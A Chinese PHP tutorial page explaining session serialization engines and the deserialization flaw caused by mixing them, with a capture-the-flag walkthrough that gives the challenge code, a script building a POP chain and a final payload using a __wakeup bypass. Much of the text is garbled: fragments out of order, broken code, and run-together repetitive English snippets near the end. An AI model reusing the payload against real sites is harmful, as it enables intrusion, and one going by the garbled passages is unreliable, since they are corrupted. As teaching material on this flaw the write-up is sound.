在php.ini中存在三個設定項:
session.save_path="" --设置session的存储路径 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
以上的選項就是與PHP中的Session儲存和序列話儲存有關的選項。
在使用xampp元件安裝中,上述的設定項的設定如下:
session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下 session.save_handler=files 表明session是以文件的方式来进行存储的 session.auto_start=0 表明默认不启动session session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
在上述的設定中,session.serialize_handler是用來設定session的序列話引擎的,除了預設的PHP引擎之外,還有其他引擎,不同的引擎所對應的session的儲存方式不相同。
php_binary:儲存方式是,鍵名的長度對應的ASCII字元鍵名經過serialize()函數序列化處理的值
php:儲存方式是,鍵名豎線經過serialize()函數序列處理的值
php_serialize(php>5.5.4):儲存方式是,經過serialize()函數序列化處理的值
在PHP中預設使用的是PHP引擎,如果要修改為其他的引擎,只需要加入程式碼ini_set('session.serialize_handler', '需要設定的引擎');。範例程式碼如下:
session 的目錄在/var/lib/php/sessions 中
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['name'] = 'spoock'; var_dump($_SESSION);
在php_serialize 引擎下,session檔案中儲存的資料為:
a:1:{s:4:"name";s:6:"spoock";}
php 引擎下檔案內容為:
name|s:6:"spoock";
php_binary 引擎下檔案內容為:
names:6:"spoock";
由於name的長度是4,4在ASCII表中對應的就是EOT。根據php_binary的儲存規則,最後就是names:6:"spoock";。 (突然發現ASCII的值為4的字元無法在網頁上面顯示,這個大家自行去查ASCII表吧)
PHP Session中的序列化危害
#PHP中的Session的實作是沒有的問題,危害主要是由於程式設計師的Session使用不當而引起的。 如果在PHP在反序列化儲存的$_SESSION資料時所使用的引擎和序列化所使用的引擎不一樣,會導致資料無法正確第反序列化。透過精心建構的資料包,就可以繞過程式的驗證或是執行一些系統的方法。例如:
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
php檔如:
訪問後得到session檔中的內容如下:
root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}但此時模擬在其他頁面使用不同的php引擎來讀取時的內容如下:(預設使用php引擎讀取session檔)
a; } } // var_dump($_SESSION);存取該頁面輸出xx
xxarray(1) { ["a:1:{s:4:"ryat";s:30:""]=> object(A)#1 (1) { ["a"]=> string(2) "xx" } }這是因為使用php引擎的時候,php引擎會以|作為作為key和value的分隔符,那麼就會將a:1:{s:4:"ryat";s:30:" 作為SESSION的key,將O:1:"A":1:{s :1:"a";s:2:"xx";} 作為value,然後進行反序列化,最後就會得到A這個類別。這種由於序列話化和反序列化所使用的不一樣的引擎就是造成PHP Session序列話漏洞的原因。漏洞在載入使用php引擎的頁面時session去讀session中的內容並反序列化導致漏洞觸發,不需要任何輸出#index.php中內容為:
GCTF上的一道session反序列化漏洞分析:
<?php //error_reporting(E_ERROR & ~E_NOTICE); ini_set('session.serialize_handler', 'php_serialize'); header("content-type;text/html;charset=utf-8"); session_start(); if(isset($_GET['src'])){ $_SESSION['src'] = $_GET['src']; highlight_file(__FILE__); print_r($_SESSION['src']); } ?> <!DOCTYPE HTML> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>代码审计2</title> </head> <body>在php中,常會使用序列化操作來存取數據,但是在序列化的過程中如果處理不當會帶來一些安全隱患。
<form action="./query.php" method="POST"> <input type="text" name="ticket" /> <input type="submit" /> </form> <a href="./?src=1">查看源码</a> </body> </html>query.php 中的內容為:
/************************/ /* //query.php 部分代码 session_start(); header('Look me: edit by vim ~0~') //...... class TOPA{ public $token; public $ticket; public $username; public $password; function login(){ //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉 $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){ return 'key is:{'.$this->token.'}'; } } } class TOPB{ public $obj; public $attr; function __construct(){ $this->attr = null; $this->obj = null; } function __toString(){ $this->obj = unserialize($this->attr); $this->obj->token = $FLAG; if($this->obj->token === $this->obj->ticket){ return (string)$this->obj; } } } class TOPC{ public $obj; public $attr; function __wakeup(){ $this->attr = null; $this->obj = null; } function __destruct(){ echo $this->attr; } } */想法如下:
這題中我們建構一個TOPC,在析構的時候則會呼叫
echo $this->attr;
將attr賦值為TOPB對象,在echo TOPB的時候會自動呼叫__tostring魔術方法在__tostring中會呼叫
;unserialize($this->attr )
,因為後面用到token和ticket,所以顯然時TOPA物件。後面判斷需要$this->obj->token === $this->obj->ticket至於為什麼## #(string)$this->obj###會輸出flag,後台寫的login可能是__tostring吧。######其中反序列化字串中會有一個__wakeup()函數清空裡面的參數,我問可以透過一個cve來繞過:CVE-2016-7124。將Object中表示數量的欄位改成比實際欄位大的值即可繞過wakeup函數。 #########最後的程式碼為:###,所以在序列化的時候進行指標引用使$a->ticket = &$a->token;,即可繞過判斷。
$testa = new TOPA(); $testc = new TOPC(); $testb = new TOPB(); $testa->username = 0; $testa->password = 0; $testa->ticket = &$testa->token; $sa = serialize($testa); $testc->attr = $testb; $testb->attr = $sa; $test = serialize($testc); echo $test;###最終payload為:###|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}###以上所述是小編給大家介紹的PHP的session反序列化漏洞,希望對大家有幫助,如果大家有任何疑問請給我留言,小編會及時回覆大家的。 #########相關學習推薦:###PHP程式設計從入門到精通##########以上是詳解PHP的session反序列化漏洞問題的詳細內容。更多資訊請關注PHP中文網其他相關文章!

tostartaphpsession,usesesses_start()attheScript'Sbeginning.1)placeitbeforeanyOutputtosetThesessionCookie.2)useSessionsforuserDatalikeloginstatusorshoppingcarts.3)regenerateSessiveIdStopreventFentfixationAttacks.s.4)考慮使用AttActAcks.s.s.4)

會話再生是指在用戶進行敏感操作時生成新會話ID並使舊ID失效,以防會話固定攻擊。實現步驟包括:1.檢測敏感操作,2.生成新會話ID,3.銷毀舊會話ID,4.更新用戶端會話信息。

PHP会话对应用性能有显著影响。优化方法包括:1.使用数据库存储会话数据,提升响应速度;2.减少会话数据使用,只存储必要信息;3.采用非阻塞会话处理器,提高并发能力;4.调整会话过期时间,平衡用户体验和服务器负担;5.使用持久会话,减少数据读写次数。

PHPsessionsareserver-side,whilecookiesareclient-side.1)Sessionsstoredataontheserver,aremoresecure,andhandlelargerdata.2)Cookiesstoredataontheclient,arelesssecure,andlimitedinsize.Usesessionsforsensitivedataandcookiesfornon-sensitive,client-sidedata.

phpIdentifiesauser'ssessionSessionSessionCookiesAndSessionId.1)whiwsession_start()被稱為,phpgeneratesainiquesesesessionIdStoredInacookInAcookInAcienamedInAcienamedphpsessIdontheuser'sbrowser'sbrowser.2)thisIdallowSphptpptpptpptpptpptpptpptoretoreteretrieetrieetrieetrieetrieetrieetreetrieetrieetrieetrieetremthafromtheserver。

PHP會話的安全可以通過以下措施實現:1.使用session_regenerate_id()在用戶登錄或重要操作時重新生成會話ID。 2.通過HTTPS協議加密傳輸會話ID。 3.使用session_save_path()指定安全目錄存儲會話數據,並正確設置權限。

phpsessionFilesArestoredIntheDirectorySpecifiedBysession.save_path,通常是/tmponunix-likesystemsorc:\ windows \ windows \ temponwindows.tocustomizethis:tocustomizEthis:1)useession_save_save_save_path_path()


熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

Video Face Swap
使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

熱工具

SublimeText3漢化版
中文版,非常好用

VSCode Windows 64位元 下載
微軟推出的免費、功能強大的一款IDE編輯器

Dreamweaver CS6
視覺化網頁開發工具

Dreamweaver Mac版
視覺化網頁開發工具

SublimeText3 Linux新版
SublimeText3 Linux最新版